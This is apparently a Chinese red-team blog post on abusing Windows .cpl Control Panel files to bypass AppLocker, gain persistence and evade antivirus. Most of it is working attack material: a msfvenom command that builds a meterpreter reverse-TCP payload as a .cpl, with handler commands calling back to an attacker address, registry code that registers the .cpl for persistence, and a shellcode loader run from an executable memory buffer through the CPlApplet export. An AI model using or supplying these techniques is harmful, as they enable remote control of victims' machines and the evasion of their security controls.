文章首发先知社区:https://xz.aliyun.com/t/9957
前言
最近无意间发现了cpl文件,之前对该类型的文件了解几乎为零,由于触及到我的知识盲区,于是决定探究。
cpl文件
CPL文件,是Windows控制面板扩展项,CPL全拼为Control Panel Item
在system32目录下有一系列的cpl文件,分别对应着各种控制面板的子选项
列入我们win+R
输入main.cpl
将会打开控制面板中的鼠标属性
cpl文件本质是属于PE文件
但cpl并不像exe,更像是dll,无法直接打开,只能以加载的形式运行。并且有一个导出函数CPlApplet
该函数是控制面板应用程序的入口点,它被控制面板管理程序自动调用,且是个回调函数。
如何打开cpl
-
双击或者win+r xxx.cpl
-
control <文件名>
-
rundll32 shell32.dll,Control_RunDLL <文件名> 注意:所有rundll32 shell32.dll,Control_RunDLL的命令均可用control替代,control.exe实质调用了rundll32.exe。打开后找不到control.exe进程,只能找到rundll32.exe。
4.vbs脚本
Dim obj
Set obj = CreateObject("Shell.Application")
obj.ControlPanelItem("C:Users11793Desktopcpl.cpl")
5.js脚本
var
a =
new
ActiveXObject(
"Shell.Application"
);
a.ControlPanelItem(
"C:\Users\11793\Desktop\cpl.cpl"
);
如何自己制造一个cpl文件
最简单的方式:直接创建一个dll,无需导出函数,然后改后缀名
BOOL APIENTRY
DllMain
( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch
(ul_reason_for_call)
{
case
DLL_PROCESS_ATTACH:
WinExec(
"Calc.exe"
, SW_SHOW);
case
DLL_THREAD_ATTACH:
case
DLL_THREAD_DETACH:
case
DLL_PROCESS_DETACH:
break
;
}
return
TRUE;
}
随便一种方式执行
这里既然可以弹出calc.exe,那么能不能执行自己的payload的呢,答案是肯定的。
cpl文件的应用
bypass Windows AppLocker
什么是Windows AppLocker
: AppLocker即“应用程序控制策略”,是Windows 7系统中新增加的一项安全功能。在win7以上的系统中默认都集成了该功能。
默认的Applocker规则集合,可以看到cpl并不在默认规则中:
开启Applocker规则: 打开计算机管理,选择服务,将Application Identity
服务开启
然后在安全策略中,添加一条applocker规则,会询问是否添加默认规则
默认规则为:
假设设置某一路径无法执行可执行程序,再次运行时就会提示组策略安全,不允许运行
绕过的方式有很多,这里只讲cpl文件 完全可以把代码写入到cpl文件中,同样达到执行目的,这里就弹一个cmd
msf直接生成cpl文件
生成cpl文件msfvenom -p windows/meterpreter/reverse_tcp -b 'x00xff' lhost=192.168.111.128 lport=8877 -f dll -o cpl.cpl
将文件拖到本地并运行,msf监听
-
use exploit/multi/handler -
set payload windows/meterpreter/reverse_tcp -
set lhost 192.168.111.128 -
set lport 8877 -
exploit
test.cpl
创建一个项目,作用为修改注册表:
HKEY hKey;
DWORD dwDisposition;
char
path[] =
"C:\test.cpl"
;
RegCreateKeyExA(HKEY_CURRENT_USER,
"Software\Microsoft\Windows\CurrentVersion\Control Panel\Cpls"
,
0
,
NULL
,
0
, KEY_WRITE,
NULL
, &hKey, &dwDisposition);
RegSetValueExA(hKey,
"test.cpl"
,
0
, REG_SZ, (BYTE*)path, (
1
+ ::lstrlenA(path)));
不一定将cpl文件放到c盘更目录,可以自定义路径 执行后
如果目标主机有杀软,可以通过该方法白加黑绕过,但是msf的cpl文件特征非常明显,静态太概率都会被杀掉。
使用shellcode自己做一个cpl文件
直接上代码
#
include
"pch.h"
#
include
"windows.h"
extern
"C"
__declspec(dllexport)
VOID
CPlApplet
(HWND hwndCPl, UINT msg, LPARAM lParam1, LPARAM lParam2)
{
MessageBoxA(
0
,
NULL
,
"test"
, MB_OK);
/* length: 835 bytes */
unsigned
char
buf[] =
"shellcode"
;
LPVOID Memory = VirtualAlloc(
NULL
,
sizeof
(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy
(Memory, buf,
sizeof
(buf));
((
void
(*)())Memory)();
}
BOOL APIENTRY
DllMain
( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch
(ul_reason_for_call)
{
case
DLL_PROCESS_ATTACH:
case
DLL_THREAD_ATTACH:
case
DLL_THREAD_DETACH:
case
DLL_PROCESS_DETACH:
break
;
}
return
TRUE;
}
这是最最最最基础的loader 先打开control.exe
看看效果
看看查杀率
经过一系列处理后,找杀毒能力还比较强的360试一下
参考
https://wooyun.js.org/drops/CPL%E6%96%87%E4%BB%B6%E5%88%A9%E7%94%A8%E4%BB%8B%E7%BB%8D.html
https://attack.mitre.org/techniques/T1218/002/
https://docs.microsoft.com/zh-cn/windows/security/threat-protection/windows-defender-application-control/applocker/working-with-applocker-rules
加下方wx,拉你进群学习
原文始发于微信公众号(红队蓝军):巧用cpl文件维权和免杀
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论